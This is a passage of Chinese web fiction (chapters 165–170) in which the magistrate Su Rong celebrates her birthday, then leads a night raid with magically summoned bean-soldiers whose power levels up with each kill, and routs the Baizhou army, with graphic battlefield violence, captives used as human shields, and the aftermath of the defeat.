苏蓉准备先回县署內宅换衣裳,吃饱点等天黑再行动。进了门一看,惊讶发现,冬梅、小兰、谭敖、张婶子两口子,都在厅里等着她。
她顿时纳闷不
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已。自己刚做出决定夜袭,大家就跑来县衙,谁泄露口风这么快?
刚欲询问,小兰蹦起来一下冲到她怀里。
“生日快乐,姐姐!”
说着,两只小手抱住她的脸,使劲在她脸颊香了一个。
“生、生日?”
苏蓉没回过神来。
她生日是今天吗?
她不记得。原身好像也忽略。
因为原身好些年没过生日,没人在意她的生日,她自己便慢慢忘记了。
“大姐,生日快乐!”
“阿蓉,生日快乐!”
“大人,生日快乐!”
“主子,生日快乐!”
……
甄云、柯澜、秦津许多人跟进来,连同家里的龚成等人,满面笑容,手里拿着各式各样的礼物,堆满一条桌案。
迎着众人一张张真诚的笑脸,苏蓉眼眶有些润。
这是原身的生日,也是她的生日。
“你们怎么知道今天是我的生日?”
她的户籍资料,只简单写了从前籍贯,多少岁。或许老金氏和金竹海知道,但他们压根没有放在心上。
巴阳小心翼翼拿出一个小盒子。
“阿蓉,这是叶大人临走,托我转交给你的。他叮嘱我,一定要在这一天才能拿出来,不然,没有意义。”
他随张如英这样称呼苏蓉,沧桑的皱纹被新婚的喜悦抚平。
他幸福,现在也迫不及待想要为生命中的两位恩人争取幸福。笑着道:“大人曾经详细调查过你的案宗,了解到你的身世。这里面,是他预先留给你的生辰礼!”
“他还让我替他转述一声:生日快乐!”
苏蓉接着木盒子,握在手中不放下,脸上全是灿烂笑意。
人群后甄云把自己手心里捏得汗湿的礼物,悄悄放在桌案最不起眼的角落,眼里心里,尽是难言的失落。
秦津语含惋惜道:“大人今日生日,真是有些不巧……”
苏蓉知他指的是今夜袭营,笑笑。
“谁说不巧?可太巧了!”
今夜大杀四方,正好用柏州军的惨败,作为上天送给她最好的生辰礼物!
“让厨房多加两个菜,晚上大家开心吃一顿!”
第165章 夜袭
回到房中,苏蓉将叶清辞送的生日礼物,放在枕头下。不打算现在看,以防动摇自己对付柏州军的决心。
然后换衣裳。
里面是天蚕宝甲,外面是特制女式皮甲。要害部位,镶嵌铁鳞片。做工精雕细琢,如同工艺品。既好看又有防御性,还有一顶小巧配套的兜鍪。
对镜照照,里面的人英姿飒爽,哪有从前半分软糯形象。
果然,人是会变的……
帮她披挂的听荷听雨,以为她在试穿新送来的铠甲。闪烁着星星眼,不绝口夸主子与这套盔甲多么绝配!如此威风凛凛的女首领,是她们主子,与有荣焉。
苏蓉含笑摸摸两个小丫鬟的头。
“今天我生日,开心!听荷听雨,你们今晚不用侍候,去外面跟她们一起吃菜喝酒吧!”
让两个初中生似的女孩子照顾自己饮食起居,有用童工之嫌。
不过听荷听雨牢牢盯着衙门和老宅里的人,绝不将手里活儿假手他人。她们还生怕自己目前的工作被人取代呢!
听了主子的话,两人以为主子准备睡觉,上前要帮忙卸盔甲。
苏蓉挥挥手:“你们先去吃席,别多喝酒,尝尝就行。我要去驻军所。”
作战计划不能泄露,听荷听雨知道不能多问,乖巧地答应离开。
苏蓉最后望眼放有叶清辞生日礼物的床头,摘下悬挂在墙上的佩剑,悬挂自己腰间,迈步走出房门。
绕过前厅,听着里面的欢声笑语,她没有进去。对迎出来的龚成道:“让二姑娘少喝些酒,带着弟弟妹妹早点歇息。我外出一趟。”
龚成应声,一个字不多问,回到厅内继续侍候。
苏蓉披挂有些分量的盔甲,还有浑身上下藏满豆子,一步一步朝衙门外走。
身后黑暗中,甲兵如雨后春笋般无声无息冒出来。等坐马车来到城门口,她身后已荟集出一支勇猛无匹的百人精锐军。
**喜和秦津率领五百精心挑选的士兵,一色皮甲等在那里。武器和马蹄都精心用软布包裹,且马戴上嘴笼子,怕行动时发出响声,引发敌军注意。
众军士大约猜到要去做什么大事,因为**喜让他们每人留下一封遗书。不会写字的,也由会写字的代笔,交代家里后事。
如果这次出发回不来,遗书就会连同抚恤金交到他们家人手里。
没人有所怨言。
食君之禄,分君之忧。
他们自愿投军,自愿参与这场战斗。他们身后,有着需要他们保护的家人。
看见苏蓉一身戎装来到,他们更是挺胸抬头。
连苏大人一个女子,也毫不畏惧身先士卒。他们堂堂男儿,难道不如女子!
苏蓉视线掠过**喜等人的面庞,注意到他们坚定的目光,微微点头。
就是需要这种勇猛无畏的士气。否则,全靠她的金手指,势力发展不起来。
**喜拽过一匹马。
这匹马相应温驯,能让尚未完全熟练骑马的苏蓉,安全骑乘。
甄云走过来,单膝着地,双手托住苏蓉的一只脚,不假他人手将她送上马背。
“大人,请多加保重!”
“嗯。甄主簿,安卫城拜托给你了!”
苏蓉接过马鞭,看着对方的眼睛。
女性直觉,让她断定甄云这个人,是完全可以信赖的。
当然,就算出了意外也不怕。她留了几名甲兵贴身保护家人。就算城池失陷,冬梅、小兰几人也不会有意外。
她的胆气来自上天恩赐。
军士缓缓拉开城门,放下吊桥。甄云站在城头,一直遥望苏蓉一行的身影,逐渐融入夜色。
万俟赞大军驻扎在五十里的小西坡,距此不远便是河道。
苏蓉等人跟随秦津,奔波近一个时辰后来到目的地。远远望见月光下敌营绵延起伏,如同长龙一样盘亘山间。
坡下河道,隐约传来喊号子叮当的敲打声。
这是不眠不休,在折腾两岸堤坝,妄图搞事情。
离得远不能靠近被敌人巡逻队发现,避免被包饺子,一时也看不出对方工程到了什么进度。不过从下游水流大大减缓减少看,河道堵得差不多了。
到时干涸下游几天,等淤积河水涨到危险水位,然后炸
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坝放水,人为制造的洪水能吞噬下游几千公里的良田村镇。
倘若碰上暴雨天气,那更是雪上加霜。
苏蓉眺望远方,眼中露出腾腾杀机。
明知道自己在做什么,还在助纣为虐。这些柏州兵,该死!
**喜借助草木遮挡,佝腰来到苏蓉跟前。
“大人,我们带来不少火箭火油,先给他们来波火攻,再让甲兵带头冲锋,杀进去吧!”
秦津仔细观察被拦起来的施工现场,摇头:“你们看见没有?河道两边竖立起来的脚手架,营地栅栏,全是易燃木质结构。贸然用火攻,怕会影响到堤坝。”
别的本事他没有,观察入微,是他的强项。
何况他们被逼得孤注一掷来劫营,不就是怕堤坝出问题,水淹安卫城吗?
“再等等。”
苏蓉冷哼一声。
“等到凌晨寅时,敌人最疲惫放松的时候,我们再动手!传令下去,让大家就地休息。看好藏在林子里的战马,别发出声音。”
来都来了,**喜等人也没其他更好的夜袭手段。见苏蓉表现得胸有成竹,便听她吩咐,先就地养精蓄锐。
秦津深富经验,通过天色默默判断时间。一到寅时,立即给苏蓉提示。苏蓉背靠大树,盯着远处河道,对身后如同山影般矗立的甲兵一挥手,只出口一道命令。
“尽你们所能,悄无声息解决敌营中人!”
杀!直到对方没有一个活人,或者诸位消失!
目睹一百甲兵,悉数化为一道道光影冲向黑暗中的敌营,**喜等人既是惊讶,又是无比激动。
再次到了见证奇迹的时候了!
赶紧跳起来拔出武器,准备跟在后面猛冲。
苏蓉伸手拦下。
“不急,先让我的甲兵杀上一阵。诸位原地警戒就行!”
说罢,她微闭上眼,专心感受与甲兵的联系。
**喜等人一怔。
不知她这是过度相信自己私兵的能力,还是出于保护他们这些人的心思。面面相觑一阵子,只好握紧武器,原地待命,伸长脖子看对面敌营动静。
第166章 逆天金手指
人头滚滚。
百名甲兵纵横敌营。
巡逻兵还没反应过来发生什么事,寒光亮起,首级搬家!
睡梦中的柏州兵更是不知不觉见了阎王。轮班运土填装麻袋,运往堤坝堵河流的人,个个有气无力,要死不活,眼睛睁不开。
终于有人听到动静不对,并非板车翻了麻布袋摔了,回过头,而是一截血淋淋残肢飞到脚下!鼓着眼睛,他像一只被死死掐住脖子的鸭子,发不出半点声音。
下一瞬,他脑袋也滴溜溜飞起来,看清自己下半个身子,和满营地晃动的刀光剑影……
“恭喜!”
“当前撒豆成兵,能同时召唤一百一十名甲兵!”
“恭喜,金手指升级……”
“恭喜!”
“……”
就算夜色不明视野受阻,**喜等人也觉得有点不对劲了。
冲出去的一队甲兵非但没有退回来,相反,他们四周还有源源不断的甲兵,加入战场,旋风般杀进敌营。
他们在等待当援兵的时机,可不时有鬼魅般的身影,加入一面倒的屠戮,根本没他们什么事!
甲兵的战力已经够恐怖了。而苏蓉的私兵,如星火燎原,杀之不尽!
这位大人到底是怎样的存在,拥有这么强大的一支军团!而平时这些甲兵栖息何处,不需要吃喝拉撒吗?
最不可思议的是,他们的忠诚!
只效忠苏蓉一人。
神兵天降,不外如是!
他们真相了。不过他们不知道自己接近真相。
毕竟亲眼看着,亲身经历的这一切,实在不可思议。
苏蓉睁开眼望向陷入修罗地狱的敌营,系统铿锵有力的声音,如同天籁,及时反馈给她金手指取得何等辉煌的战果。
一百五!
二百!
二百三!
三百……
她金手指逆天。可供驱使的神兵,不疾不徐,异常坚定上涨!
当冲破三百这个阈值时,系统声音又给了她一个大大惊喜——
“恭喜主人!您的撒豆成兵金手指,现在能同时召唤三百神甲兵。几率刷新三十名银甲兵,三名金甲兵!”
“存在时长突破十二个时辰!不因任务完成而消失!”
惊喜,大大惊喜!
也就是说,甲兵现在不会一到八个时辰就消失,而是会呆满整整一天?并且一天内听她吩咐行事,不至于干完一件事便撂挑子走人?
还有,这好像是系统第一次尊称她为主人……
这意味着什么?
直到此刻,系统才真正属于她?
旁边**喜等人,看着激动得红光满面的苏蓉,丈二和尚摸不着头脑。
隔这么远,敌营那边动静都听不清。为何苏大人跟喝醉酒一样,如此亢奋?
不知道的,还以为他们大获全胜了。
“大人,我们上吧!”
**喜等人心想甲兵们已偷袭接近一个时辰。再厉害,也该累得口吐白沫。
他们得赶快去接应!
别让甲兵全军覆没在敌营里,这对己方阵营,不啻于致命打击。这些甲兵,可是他们不顾一切追随苏蓉的根本原因。
苏蓉回头,瞥众人一眼。
“别急,还有援兵正在赶来。等他们到了,你们再配合一起出击。”
**喜等人目瞪口呆。
什么?还有援兵?
怎么一开始没听说啊?
苏大人手下这批神秘私兵,到底有多少人?之前不是谁说苏大人是农妇吗……
何方俊杰,肯如此鼎力相助苏大人!
说实在的,就算一个阵营的,他们也妥妥嫉妒了。
“秦军侯,这批驻扎在河道搞事的柏州兵,大概有多少人?”
苏蓉一边感应甲兵厮杀,一边皱眉问秦津。
这敌人确实有点多了。
杀不完,根本杀不完!
金手指升级几番,没见甲兵们来汇报战果。
说实在的,想到那也是一条条鲜活人命,她有些心塞。但己方人死,还是对手死,这个选择题不难做。
秦津踌躇道:“根据敌军旗帜帐篷、车轮印、脚印粪便这些判断,驻扎在河道施工这支队伍,大约有五千余众?”
苏蓉心里盘算下,觉得时机差不多。霍地起身,手用力一挥:“上,冲营
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!”
河道这个控制权,一定要夺回来掌控在自己手里。
**喜等人精神大振,就等着这一刻了!
“兄弟们,上马!”
“杀啊!”
五百骑铆足了劲,策马扬鞭,从山林里钻出来,借助夜色,朝敌营奔驰。看看距离足够近,纷纷弯弓搭箭,将憋足的怒火,倾泄向肉眼可见的敌人。
驻扎此地的柏州军,被甲兵突袭损失了不少人手。好不容易清醒过来组织反击,围剿这些出入如无人之境的**。喊声大作,沿岸又杀出一批人马,顿时心慌意乱。
**喜挑人出战,特别长了心眼,都是箭术好骑术精的士兵。毕竟他们打的是闪电战奇袭战,速度准确度重中之重。
借助夜色掩护,五百骑兵在沿岸来回穿梭,不时放箭。柏州军一面被甲兵势不可挡屠戮;一面被冷箭雨点般落下射晕头。
加上喊杀震天,误以为被包围,敌众我寡。争相逃窜躲避间,自相践踏者不知凡几。
苏蓉被几名甲兵保护,立在远处观望,暗想这**喜有点东西。初见以为是富家公子,熟悉了觉得是善于投机的富商。现在看,此人能力远见,在预估之上。
若不是她金手指逆天,这样的人,怎会甘心率家族为她作用?
眼见天色逐渐发白,担心万俟赞闻讯,率大军来救。那时己方优势,说不定变成劣势,传令众人边打边喊。
“降者不杀!”
伴随指令一声声传播下去,早被甲兵杀得魂飞魄散的柏州兵,不假思索,丢下武器跪在地上,双手举高投降。
三百余甲兵和**喜的五百骑兵穿梭其间,凶猛追杀到了这个地步仍然负隅顽抗不肯伏首的。
到了天明,彻底击溃柏州军的气势。放眼望去,河水被染红,沿岸是残缺不全的尸首。遍地狼藉,密密麻麻跪的全是丢盔弃甲的投降敌人。
苏蓉慢慢把甲兵收拢回来。她的金手指,已升级到能同时召唤四百甲兵。
不说别的,单刷出四名金甲兵,就可以拿下一座城。
万俟赞剩余两万余的柏州军,末日到了!
第167章 杀——
“打扫战场吧!”
苏蓉对红光满面、纵马跑回来的**喜,含笑说了句。
五百安卫兵,闻言立即精神抖擞、浑身来劲。
又到了他们作战最喜欢的环节!
搜!刮!
有益身心、激动人心的时刻!
彻底把敌人俘虏剥得只剩一条裤衩!战士们“嗷嗷”欢快叫着,虎趟群羊般冲向瑟瑟发抖的羊羔们,上下其手。
“叫你们来侵略我们,叫你们来欺负我们……我们让你们赤果果滚回柏州去!”
安卫兵们一边嘚瑟,一边大包小包扛着战利品堆放到空旷地带。俘虏们脸绿了,尤其看到对方女县令在大群甲兵簇拥下走过来,双手狼狈挡住自己走光部位。
某些人一开始还想诈降,趁其不备搞事情。现在什么想法勇气没了,蹲在地上把自己蜷缩一团,恨不能钻进地底。
苏蓉冷眼一瞥大片白花花的肉,吩咐甲兵将这些俘虏好好看管起来。敢有异动,直接杀掉。
甲兵太给力,为她解决掉至少一半的敌人。不过剩余投降的,也有两三千人。利用得好,是她和柏州势力谈判的筹码。
怕这么多俘虏不好看管,苏蓉只让人给对方发放少量的清水。至于干粮别想,难不成等这些人吃饱喝足再来反抗她吗?
**喜比她更警惕。
己方人数太少了,几百人看管几千人,容易有差池。让手下找来麻绳,恰巧对方折腾堤坝河道这种东西很多,将俘虏们一个接一个栓起来。
这叫一条线的蚂蚱,飞不了你,蹦不了他。
等雾气散尽,天色彻底大亮。柏州兵才看清楚灭掉己方几千人军营的,是安卫城几百人的队伍。苟活下来的人,无不灰头土脸。
苏蓉让甲兵修复损毁的防御工事,拒马木墙之类。又让**喜带着五百骑兵,选出几百俘虏,去把堵塞河道掏干净,加固堤坝。
之前什么样,不仅要还原,还要精益求精弄更好。
叫你们敲敲打打几天干尽恶毒事,丧尽天良。如今被水流冲走数个,也算天谴。
刚把敌营占据没多久,河道尚未完全疏通好,流星探马飞也似回报:“大人,万俟赞大军拔营起寨,朝我们这方急行军而来!距此二十里!”
苏蓉微皱眉。
“列阵以待!那两千余俘虏,推在阵前。”
一来**,二来挡箭。
毕竟己方人区区数百,就算甲兵再厉害,短时间内收拾不了太多。如果对方大军一冲,将是灭顶之灾。
她可不愿意追随自己的队伍,损失过重。
**喜立即传令下去,摆开阵势迎敌。
当万俟赞气势汹汹率军赶到,一看原本属于己方的阵营,插上安卫城的旗帜。营外迎接他的,是大片白花花辣眼睛的肉体,气得他鼻子差点歪了!
见过雁过拔**的,没见过这么无耻的。还把光溜溜抢干净的人,推出来挡箭。
不过……
对方到底有多少人,这么轻易夜袭夺了他的分营?看这果体俘虏,没有一千也有两千吧?
万俟赞多疑,一时有点不敢轻举妄动。
浓重的血腥味,像是笼罩头顶的瘴气,慢慢扩散天地间。便是不用探马详查折损兵力,万俟赞心里也有数。
他这次败了。
哪怕过后攻下安危城,拿下女县令,一夜之间损失五千人马,无法在太子殿下面前自圆其说。
亏他出兵前,还大言不惭在太子和同僚面前,轻蔑扬言要兵不血刃攻占安卫城,生擒女县令献给殿下。
对于敌人实力捉摸不透,令万俟赞感到棘手。
苏蓉派出大嗓门士兵,在阵前喊话。
只要柏州军无条件退兵,两千余俘虏不伤性命退还。
此时万俟赞派出的探马,绕到高处看清苏蓉这边大概的情形。甚至还没有顶在阵前那片白花花的肉林占地面积大,立即飞报万俟赞。
万俟赞笑了。
“这女县令倒是狡猾!故布疑阵给本将玩虚实?本将都不用全军齐上,只出一彪精兵,把他们杀得落花流水!”
他笃定昨夜是自己那帮不争气的手下,疏忽大意才被对方劫营成功。
女人就是女人,手下也是一帮乌合之众!奇袭成功,应该马上离开。结果贪恋战利品,还留在原地等他率大军赶到,包了饺子。
这次定让这女县令插翅难逃!
一声令下,万俟赞手下副将分兵三路。两路环向
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绕到苏蓉等人侧后方,一路随着中军令旗招展,嗷嗷大叫,冲杀向河道。
弓骑兵们抖手发出一排排箭雨,铺天盖地,射向苏蓉等人。
早有防备的**喜大声呼喝,经过严格训练的安卫兵临危不乱,举起大盾牌拼接在一起,挡住自己和同伴。
倒是前方俘虏们避无可避,被迫肉身承接一波自己人不分敌我的箭雨!
一时间,惨叫、怒骂、哀嚎,响彻一片。
苏蓉心中一沉。
她真是低估这些当权者的心狠程度。
以为对方不同意退兵,好歹进兵时会考虑己方被俘虏士兵的死活。结果这些浑蛋为求胜利,自己人都无差别格杀!
底层人的命,对权贵们而言,真就是纸上一串数字而已。
她立即指挥蓄势待发的四百甲兵。
一百甲兵围成圈保护自己及**喜等五百骑兵。另外三百甲兵由三名金甲兵率领,分作三队杀向三面合围来的柏州大军。
三股旋风与铺天盖地蝗群的激情碰撞。
甲兵如同锋利尖刀,准确扎进三路敌军的七寸,咬住为首副将。只一个照面,前刻尚耀武扬威冲锋的副将,下刻便被劈于马下!
副将没了,接手指挥的是千户、百户……但不管是谁,只要他们敢振臂高呼,甲兵势若千钧的大刀,就会斩到他们头顶。
苏蓉命令,杀贼先杀王。
金甲兵、银甲兵专门盯着首领模样的人杀,小头目也不放过。杀得周围没人,才会加入铜甲兵屠戮的行列,大肆捏爆虾兵们脑袋。
没有人是他们1V1的对手!
通常要有几十个甚至上百个士兵,才能干掉一名铜甲兵。别说拥有排山倒海武力,横扫四方的银甲兵、金甲兵!
好不容易冲破战团的柏州兵杀到苏蓉等人面前,看见还有一百甲兵,严阵以待等着他们。
阵心。
**喜挥动宝剑:“放箭!”
一波火箭,从五百骑士手中齐齐释放。箭羽拖着长长火尾,准确无误射进柏州兵体内。爆开、血肉横飞!
“啊——”
惨叫此起彼伏。
阳光下无数生命被肆意宰割。
人类的喜怒哀乐,从不相通。
第168章 一次打痛
万俟赞奋力拼杀,长刀捅入一名银甲兵胸膛。
对方尸身倒下去,淹没在滚滚铁流中。下一刻,又有一名银甲兵无声无息从他背后冒出来,凌空跃起。双斧携带泰山压顶之势,猛劈向他后脑。
万俟赞感觉脑后生风,紧急身子前倾——
“轰”!
胯下战马甚至来不及悲鸣,被斧头劈成两半。万俟赞亡魂皆冒,摔在地上乱滚数滚,一脚踢开就近手下,抢了他战马,翻身而上。
眼角余光,瞥到另一名金甲兵如同死神挥舞镰刀,挑得血肉横飞,朝他这边凶猛靠拢。
一名银甲兵已让他险象迭生,何况体形、武力、装备明显在银甲兵之上的金甲兵?
万俟赞暗暗叫苦!心想这女县令从何笼络来这么一批异人?倘若属于自家殿下麾下,殿下早就一统天下,打到乌蛮人老家去了。
乱世真一个乱!
一个女人也能异军突起,怪不得她敢自封县令,拿下三座城。
越杀越胆寒。
万俟赞一身甲胄,溅满鲜血和可疑的粘液,花花绿绿的。手上兵器越来越重,身边团团护卫的军士越来越少。反观敌人甲兵,越杀越多,越杀越勇。
像是地底幽灵不断冒出来,冲击己方阵营。两万余人马汇成的滔天洪流,被鲜明跳跃的金光,以肉眼可见的速度分割、蚕食。
纵横疆场十余年,万俟赞第一次感到胆寒,品尝到无能为力的滋味。
他挥军努力一次次扑向苏蓉所在地,非但不能如愿,反而距离越拉越远。被对方甲兵阻隔的咫尺距离,宛似天堑。
而被他们击杀最多的,反而是那些赤条条的己方俘虏。
绝望的万俟赞猛然反应过来,再不退兵,他带来的这支大军,很可能全军覆没。
殿下对安卫三城志在必得,他也极度自信能轻而易举拿下。为保守起见,甚至选择水攻这样阴毒的计策。
然而,女县令手下甲兵,出乎意外强大。以前觉得是谣言,现在看,那传闻远远不够真实,没有描绘出对方的可怕。
自己带来这三万人马,已经遭受不小重创。如果全部留在安卫城战场这片土地上,柏州军力短时间内无法复苏,势必影响殿下的雄图伟业,甚至威胁己方势力。
万俟赞不再迟疑,立即打出撤退旗号。
大量辎重不要了,后军变前军,前军为后军,迅速撤退。只盼敌人忙着捡战利品,顾不上追击。
但他忽略了,他的对手是苏蓉。
苏蓉可不管什么穷寇勿追!她撒出去的,不过是一把豆子。豆子兵损失了又不心疼,她甲胄下一身特制衣裳,揣着几斤豆子,够她打几场战役。
就是挺重的,需要多撒点减负,顺带升级金手指。
甲兵气贯长虹在柏州军后面穷追猛打,**喜等人带着兵,心花怒放在后面捡辎重、补刀。
一场大胜来得猝不及防猛烈。他们以为是来夜袭加送死的,遗书留好了,没想到柳暗花明。跟着苏大人,大胜特胜。
不行,战利品太多,人手少搬不回去!**喜赶紧让秦津回去报信,让安卫城再派人和车来搬运。
抬头一望,甲兵们追着柏州军一面倒冲锋,尘烟滚滚,连尾巴也看不见了。
唯恐这群宝贝精兵有失,忙凑到苏蓉面前:“大人,穷寇勿追!”
再追,追到别人地盘去了,打扫战场是个麻烦事。而且厮杀一整夜加一个白天,安卫兵个个累得人仰马翻,大人手下这批私兵,没任何问题吗?
苏蓉捏住一撮豆子,不动声色塞回兜里。
“一次需打痛,省得他们次次来!”
这是她信奉的真理。
数百甲兵,一直将万俟赞的残兵撵出几十里地,喊杀声惊得邻县紧紧关闭城门不敢冒头,再次天黑时辰到,甲兵们才悄然消失。
万俟赞狼狈无比。
想再回头负隅顽抗下,残兵败将已**丢了魂。要重振旗鼓,这都不知跑到哪里来了。
好不容易等天蒙蒙亮,收拢部属。一清点人数,浩浩荡荡开来的三万大军,竟然只剩万把人!
万俟赞仰天长叹一声。
“**我!”
这坎难过,回去殿下也不会放过他。一时走投无路,将剑横在自
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己脖子上。唰!血水喷溅,当场抹了脖子!
剩下的柏州兵面面相觑。
他们中官位品级稍高的,皆被苏蓉甲兵优先解决掉。最后只好由一名幸存百户出面,扶了万俟赞尸首,领着众人败逃回柏州。
一路人心涣散。
不服这百户的,还有不愿再给太子卖命的,纷纷当了逃兵。好不容易回到柏州,只剩七八千眼神呆滞,完全没了精气神的“乞丐”士兵。
一场惊天西河战役,以少胜多成为传奇,记载史书。
这一战重创太子景渊实力。也是从此刻开始,苏蓉之名,传遍大靖。各路诸侯势力,正式将这个原本不起眼的农家女子,放在足够威胁自己的层面上。
当然,这当儿苏蓉等人不知。
他们正快快乐乐打扫战场,将缴获数不清的物资,运回安卫城。当天载歌载舞,衙门大摆宴席,邀请各路有威望的长者、首领参加,为胜利庆功。
热闹人群中,有两人着普通民夫打扮,夹在其中。
是傅振和幽临。
傅振看看幽临堪比燕彬的**脸:“大人火急火燎,派你我来解救苏娘子?”
幽临……
傅振拍拍对方肩头:“先去买几只烧鸡,带着路上啃,咱们回柏州吧。”
就是苏娘子这方大获全胜,殃及大人那边,会更加举步维艰了。
傅振回头望眼衙门,带着幽临,悄无声息离开,隐于人潮。
几天后,秦津给苏蓉汇报清算出来的辉煌战果。
“大人,此次夜袭,重创以万俟赞为首的敌军。据说万俟赞自刎谢罪,三万柏州兵,逃回柏州时不足八千,太子景渊无比震怒。”
“此外,我们俘虏四千九百余人,缴获盔甲近两万套,战马八千匹,粮食三万石,马料五万石,白银两万七千余两!”
苏蓉听着都惊讶了下。
这么多!
怪不得说要发战争财呢?这还只是一支军队携带的必要辎重。古代若攻下一座城,只怕搜刮的财富更是天文数字。
“大人,俘虏怎么处置?”
**喜问到关键点。
第169章 釜底抽薪
近四千余俘虏,若不是万俟赞军队自相残杀一部分,会更多。这数量,加起来超过三城守兵。白养着浪费粮食,留下来更是祸患!
柯澜眼中闪过狠辣。
“大人,成大事者不拘小节。让这些人回到柏州,又会成为我们的敌人!不如……”
甄云不赞同:“大人,我们应该以仁义治天下!只有这样,四方有识之士,才会纷纷来投。”
太子景渊不就占了往日一个贤名,诈死重生后,登高一呼百应?
苏大人绝不能走暴力的道路。虽说手下甲兵,足够暴力了……
至少对于俘虏,要网开一面。不然大人出身寒微,又是女子,拿什么与诸侯势力争?
苏蓉没多作犹豫,很快决定采纳甄云的意见。若非必要,她实在不想多造杀孽。
所有俘虏,愿意投降、且家不在柏州的,打散编入三城守兵。这些老兵虽不敌自己甲兵,不过作战经验丰富,能传授经验带领自家新兵。
其余的发够回柏州的盘缠,送出安卫城。
出乎苏蓉意外的,大多数俘虏愿意归降。即便家在柏州的,也不愿意回去。
万俟赞不顾阵前上千赤身当盾牌的俘虏,悍然冲锋放箭,寒透这些柏州兵的心。
再为太子一方卖命,显然不值得。
目睹苏蓉甲兵强大,一视同仁赏罚分明,怎么选一目了然。更重要的是,近千人马击溃他们三万大军,连向来自负的万俟赞也崩溃自尽,苏蓉势力的潜力,不可估量。
短短时间,安卫三城总兵力,扩展到一万人。
苏蓉金手指,升级到可以同时召唤六百名甲兵。
二话不说,往庐城和斐县各派一百名甲兵,包括一名金甲兵,十名银甲兵。
有神兵助阵,庐城将来犯的二、四皇子军队,一口气杀退百里,丢盔弃甲败逃回老窝。收复周边诸多原本属于庐城的小镇村庄,大大增加本城地盘及繁荣度。
至于浐县,听说这些战报,二话不说,派出的几千兵半途拐弯回去,龟缩在城。像是从没有觊觎过安卫三城,还派人给苏蓉送礼,表示友好。
考虑到浐县是横亘己方与乌蛮人的防线,虚与委蛇能让对方充当屏障。苏蓉接受甄云建议,与浐县县令暂不发生冲突。
另派一百甲兵驻守西河,防止再被有心人水攻。
这种将甲兵分派驻守固然辛苦,但练级效果显而易见。没有直接战场厮杀来得快,经验增长速度也不慢。
柏州太子景渊,先接到败兵抬回来的万俟赞尸体,隔天又接到苏蓉释放回的几百俘虏。贺子民一颗血肉模糊的人头,乱军踩扁了找到也由俘虏送回。
景渊目眦欲裂。
他皇家贵胄,何曾受过这般打击和**!
三万大军,就这么灰飞烟灭。本来形势大好的争霸复位之路,实力遭受重创,一下子成了诸势力垫底,还成了全天下的笑话!
愤而将人头扫落桌案,要命人诛杀万俟赞的家眷泄愤。
幕僚连忙劝阻:“殿下,万俟将军自知罪孽深重,已**谢罪。殿下礼贤下士,实不宜在此时追究其家眷责任!”
主子好不容易收复柏州,令十二城军民倾心追随。吃了败仗便杀主将家眷,岂不令麾下将士们寒心,将来还有谁敢来投效主子?
更甚者认为殿下是装出来的贤明,那才是致命打击。
兵没了可以再征,将没了能再招揽。名声若毁了,无法挽救。
景渊冷静下来,也意识到这一点。与幕僚商议之后,大张旗鼓厚葬万俟赞,让全城文武吊唁这位柏州名将。
至于贺子民,他终究有些厌恶其在之前和谈中坏事,导致与安卫城势力敌对。将人头发还其家属,随便雕个木头身子,草草掩埋。
幕僚献计。
“为今之计,应先避开安卫城锋芒,集中力量攻打京畿重地。只要殿下拿下京城,重返朝堂,名正言顺便能号召天下军民依附。”
景渊自恃掌控一切,这会对苏蓉升起深深忌惮:“安卫城大胜,孤损兵折将。若孤现在放下安卫城去打京畿,对方会不会趁火**?”
“殿下忘了叶清辞叶大人?”
幕僚转动狡诈的小眼睛。
“将他调回守柏州,殿下亲征京畿。听说那位女县令对
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叶大人甚是有情意,有叶大人坐镇柏州,对方绝不会出兵攻打!”
景渊若有所思。
“如此……那便该事先做些准备了。”
匆忙回到柏州的傅振和幽临,还有一个任务。将住在府城丰安的叶浩锐,送到叶清辞老家寿城、也即叶兴贤的家人身边去。
那里较偏远,而且基本在叶氏宗族掌控下,十分安全。
但他们进门一看,根本没发现叶浩锐的身影。
一问家中仆役,原来不久前太子派人,将叶浩锐带进太子府。说是叶浩锐聪明伶俐,殿下甚为喜欢,让叶浩锐给小皇孙当伴读。
太子景渊本来有两个儿子。诈死后废了老大力气,送出京城来一个,另外一个在路上暴毙。还有三个庶女,三皇子撕破脸后,连同太子妃一并杀害。
这小皇孙景渊视若珍宝,派重兵保护,等闲人休想见到。还有一说小皇孙根本不在太子府,不知藏身在哪里?
总之叶浩锐这一被带走,除非天下平定太子登基,叶家人不可能再见到孩子。
傅振和幽临面面相觑。
太子这是真正信不过叶大人,在拿叶大人的软肋了?那么寿城那边,得赶紧传个信回去,让老家人做好准备,别被太子釜底抽薪。
虽然他们效命太子,但一个大家族成百上千人,不能轻易断送在不仁不义的主子手上!
苏蓉此时不知道柏州发生的事,大堂开会,和手下们商讨攻占水沛。
只要占领这座大城,己方势力能得到迅猛发展,云州也彻底归属己方。
甲兵不能离苏蓉太远,故而苏蓉打算亲征。商量一番,给安卫城留下一百甲兵,苏蓉和**喜带领剩余两百甲兵及三城挑选出的三千精锐去打水沛。
上一次刘知府倾巢出动,损伤惨重。只要三皇子不增派援兵,夺城轻而易举,连攻城器具也可以不带。
就是后方运送辎重要注意。他们喜欢搜刮敌军,别常年打雁,被雁捉了眼睛。
正商议得热火朝天,军士来报。
“大人,城门外一流民妇人求见,自称姓姜,有来自宜阳县的绝密情报!”
第170章 再见姜厨娘
西河战役后,苏蓉势力声威大振。不少之前逃出城的人,想方设法回来,宁愿多缴纳几倍献金。毕竟乱世中安定有庇护的地方,如同世外桃源,令人向往。
甄云带着手下,严格审查筛选这些人资料。除了钱,身世背景还得清白,与各方势力没有牵扯。
胥吏们工作时彼此监督,交差审核问责。一旦出现贪赃枉法、私放流民进城的,乱世重典,轻则赶出衙门永不录用,重则处斩。
力争最大限度查处各方细作。
因此遇到这种紧急重大的事,守城兵直接来报苏蓉,由苏蓉自己定夺。
苏蓉听了军士禀报,一个“姜”字,令她猛然一激灵。
姜,女子,求见她?
莫不是姜厨娘?
赶忙散了会议,迫不及待吩咐那报信军士:“快,将那女子带来见我!”
甄云在旁,见她这么急切,微微皱眉。
“大人,您今时不同往日。多的是各路细作,想要对您不利。以后不管见谁,一定要先做好防御工作!”
苏蓉想到之前的燕彬,从善如流唤出一名甲兵,守护在自己左右,虚心道:“甄大人说得对,是我疏忽了。”
等军士将那姓姜的流民带进来,苏蓉愣住了。
真看不出来对方是姜厨娘!
别说看不出来了,连是不是女子也难以分辨。头发剪得又短又乱,一身褴褛叫花衣,浑身沾满污垢,隔得十来步远,能闻到一股奇臭。
